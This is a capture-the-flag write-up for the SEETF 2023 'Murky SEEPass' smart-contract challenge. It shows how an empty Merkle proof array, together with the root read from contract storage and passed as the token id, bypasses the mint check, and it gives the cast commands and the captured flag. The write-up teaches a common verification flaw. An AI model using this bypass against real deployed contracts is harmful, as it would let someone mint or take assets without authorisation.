Skip to content

Latest commit

 

History

History
96 lines (76 loc) · 3.4 KB

murky_seepass.md

File metadata and controls

96 lines (76 loc) · 3.4 KB

SEETF 2023 - Murky SEEPass [14 solves / 486 points]

Description

The SEE team has a list of special NFTs that are only allowed to be minted. Find out which one its allowed!

nc win.the.seetf.sg 8546

Our goal is to mint at least one token

    function isSolved() external view returns (bool) {
        return pass.balanceOf(msg.sender) > 0;
    }

We can mint token with mintSeePass()

    function mintSeePass(bytes32[] calldata _proof, uint256 _tokenId) public {
        require(!hasMinted(_tokenId), "Already minted");
        require(verify(_proof, _merkleRoot, _tokenId), "Invalid proof");

        _minted[_tokenId] = true;

        _safeMint(msg.sender, _tokenId);
    }

The merkle root is set in the constructor and it's private

    bytes32 private _merkleRoot;
    mapping(uint256 => bool) private _minted;

    constructor(bytes32 _root) ERC721("SEE Pass", "SEEP") {
        _merkleRoot = _root;
    }

But we can still view it by viewing the storage

# cast storage 0xF9138A57510d57F4e0E2d506882bBC282DaE3Fd1 --rpc-url http://win.the.seetf.sg:8545/72c18fe1-aa24-41f8-bf55-c89a6608b71b 6
0xd158416f477eb6632dd0d44117c33220be333a420cd377fab5a00fdb72d27a10

This is the verify function that verify the merkle proof to the merkle root

    function verify(bytes32[] calldata proof, bytes32 root, uint256 index) internal pure returns (bool) {
        bytes32 computedHash = bytes32(abi.encodePacked(index));

        require(root != bytes32(0), "MerkleProof: Root hash cannot be zero");
        require(computedHash != bytes32(0), "MerkleProof: Leaf hash cannot be zero");

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (computedHash < proofElement) {
                // Hash(current computed hash + current element of the proof)
                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
            } else {
                // Hash(current element of the proof + current computed hash)
                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
            }
        }

        // Check if the computed hash (root) is equal to the provided root
        return computedHash == root;
    }

At first it convert the index to bytes32 and set that as computedHash

Then it has a for loop to iterate each proof in the proof array, but we can completely skip this loop by passing an empty array of proof, then it will be directly compared with the merkle root

mintSeePass() will call verify with the _tokenId as index for verify

    function mintSeePass(bytes32[] calldata _proof, uint256 _tokenId) public {
        require(!hasMinted(_tokenId), "Already minted");
        require(verify(_proof, _merkleRoot, _tokenId), "Invalid proof");

So we just need to pass the merkle root as _tokenId, then we can mint a token

# cast send 0xF9138A57510d57F4e0E2d506882bBC282DaE3Fd1 "mintSeePass(bytes32[], uint256)" [] 0xd158416f477eb6632dd0d44117c33220be333a420cd377fab5a00fdb72d27a10 --rpc-url http://win.the.seetf.sg:8545/72c18fe1-aa24-41f8-bf55-c89a6608b71b --private-key <key>
# nc win.the.seetf.sg 8546
1 - launch new instance
2 - kill instance
3 - acquire flag
action? 3
uuid please: 72c18fe1-aa24-41f8-bf55-c89a6608b71b

Congratulations! You have solve it! Here's the flag: 
SEE{w3lc0me_t0_dA_NFT_w0rld_w1th_SE3pAs5_f3a794cf4f4dd14f9cc7f6a25f61e232}